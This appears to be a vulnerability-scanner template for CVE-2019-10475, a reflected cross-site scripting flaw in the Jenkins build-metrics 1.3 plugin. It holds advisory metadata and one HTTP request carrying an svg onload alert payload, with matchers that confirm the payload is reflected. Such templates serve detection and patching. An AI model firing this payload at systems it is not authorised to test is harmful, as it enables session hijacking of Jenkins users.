id: CVE-2019-10475

info:
  name: Jenkins build-metrics 1.3 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: Jenkins build-metrics 1.3 is vulnerable to a reflected cross-site scripting vulnerability that allows attackers to inject arbitrary HTML and JavaScript into the web pages the plugin provides.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to a patched version of the Jenkins build-metrics plugin or apply the necessary fixes provided by the vendor.
  reference:
    - https://jenkins.io/security/advisory/2019-10-23/#SECURITY-1490
    - http://www.openwall.com/lists/oss-security/2019/10/23/2
    - http://packetstormsecurity.com/files/155200/Jenkins-Build-Metrics-1.3-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-10475
    - https://github.com/reph0r/poc-exp
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-10475
    cwe-id: CWE-79
    epss-score: 0.57735
    epss-percentile: 0.9899
    cpe: cpe:2.3:a:jenkins:build-metrics:*:*:*:*:*:jenkins:*:*
  metadata:
    max-request: 1
    vendor: jenkins
    product: build-metrics
    framework: jenkins
  tags: cve,cve2019,jenkins,xss,plugin,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugin/build-metrics/getBuildStats?label=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert(1337)>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022039e1e9b343b9c4aedea0d9e514ea102b3720c597ef4450c00dbd593ec6a2a4d3022100bad0b7af050b7c93c73d7fc0042e9bb35c6ff7715188e60ed20081af6be60dff:922c64590222798bb761d5b6d8e72950